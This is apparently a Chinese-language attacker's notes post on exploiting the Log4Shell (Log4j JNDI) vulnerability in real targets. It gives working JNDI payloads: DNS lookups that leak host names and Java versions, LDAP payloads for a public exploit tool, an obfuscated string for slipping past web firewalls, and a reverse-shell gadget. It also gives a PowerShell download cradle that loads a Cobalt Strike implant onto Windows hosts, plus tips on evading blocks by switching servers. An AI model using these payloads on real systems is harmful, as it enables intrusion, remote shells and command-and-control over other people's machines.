最近打的log4j还算比较多,对一些特殊的情况做一个记录,若碰到相似情况可以做一下参考
大部分图不好放出来,所以可能文字较多
0x01:介绍
一般会出现几种情况,jdni关键字被过滤,jndi服务器无请求,jndi有请求但是无法执行命令,这些可能有以下几种情况:
1.waf拦截
2.搭建jndi服务器被ban
3.jdk版本不正确
4.使用gadget有问题
等等
优先判断版本与os
${jndi:dns://${hostName}.es28bl.ceye.io/test}
${jndi:dns://${sys:java.version}.es28bl.ceye.io/test}
0x02:jdk1.8下无法执行命令,切换jdk11成功
一次log4利用过程,弹测到java的版本为1.8,搭建jndi服务

执行了一下curl命令,发现无命令返回,切换为jdk11,这里推荐一个师傅的项目
https://github.com/zzwlpx/JNDIExploit
指定为jdk11运行
/usr/local/jdk-11.0.13/bin/java -jar JNDIExploit-1.2-SNAPSHOT.jar
使用payload:
${jndi:ldap://vps/Basic/Command/Base64/cmd}

最后反弹shell成功
0x03:更换gadget
朋友发来了一个log4j,几个gadget都没有成功,一个经典的情况,平时测试log4的时候可能会经常遇到的情况

jndi有请求,命令也执行成功了,但是监听服务器端口无返回
最后有人在大成功了,环境是jdk1.8和Deserialization/CommonsBeanutils1/ReverseShell/,环境是jdk1.8,这里我一般直接用jdk11来打,毕竟向下兼容,没想到这次只有jdk1.8才大成功
这里注意的问题是,使用CommonsBeanutils1需要jar文件下有以下文件,不然执行会报错

使用payload:

最后成功反弹
0x04:绕过waf
当请求存在jndi时,会被waf拦截

可以参考此项目:https://github.com/Puliczek/CVE-2021-44228-PoC-log4j-bypass-words
这里直接放出我成功过几次的payload:
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://vps/Basic/Command/Base64/cmd}
即可进行反弹
0x05:windows下的log4
属于是粗心的一次,碰到了一个log4把几种情况全部排除了,但是还是一直出现一种情况,jndi服务显示执行了命令,但是监听端口无命令执行
最后想到忘记判断了os,每次碰到默认都是linux环境下直接去打了,于是判断了一下os

果然是win的机器,既然不好反弹shell那就去上线cs,这里因为环境没有防火墙之类的设备,直接使用cs默认生成的马就成功了
cs生成一个payload ps1
powershell -nop -c “iex(New-Object Net.WebClient).DownloadString(‘http://vps/payload.ps1‘)”
执行上线的命令,用jndi请求如下:
${jndi:ldap://ip:1389/Basic/Command/Base64/cmd},这里的cmd即上面上线cs的命令
发送请求

成功上线
0x06:总结
其实真实环境碰到了有各种情况,只能对大致的几个进行介绍,但是总结了一下排查流程
在服务器出网的情况下:
1.当前优先使用jdk11开启jndi服务器
2.服务器搭建jndi发送请求后,jdni服务器无请求
1)排除机器不出网的情况下,考虑端口问题,比如将jndi服务换为常见端口如80,443,8080等,再次发送payload查看是否有请求产生
2)vps是否被ban,考虑换vps执行(来自某一次几个服务器都被ban的血泪教训)
3.jndi服务有请求产生,但是执行命令不成功
1)考虑gadget问题,多换几个试试
2)jdk版本问题,优先jdk11,排除其他情况后,最后服务器对应jdk版本做尝试
应该后面还会遇到其他情况,有了再继续补充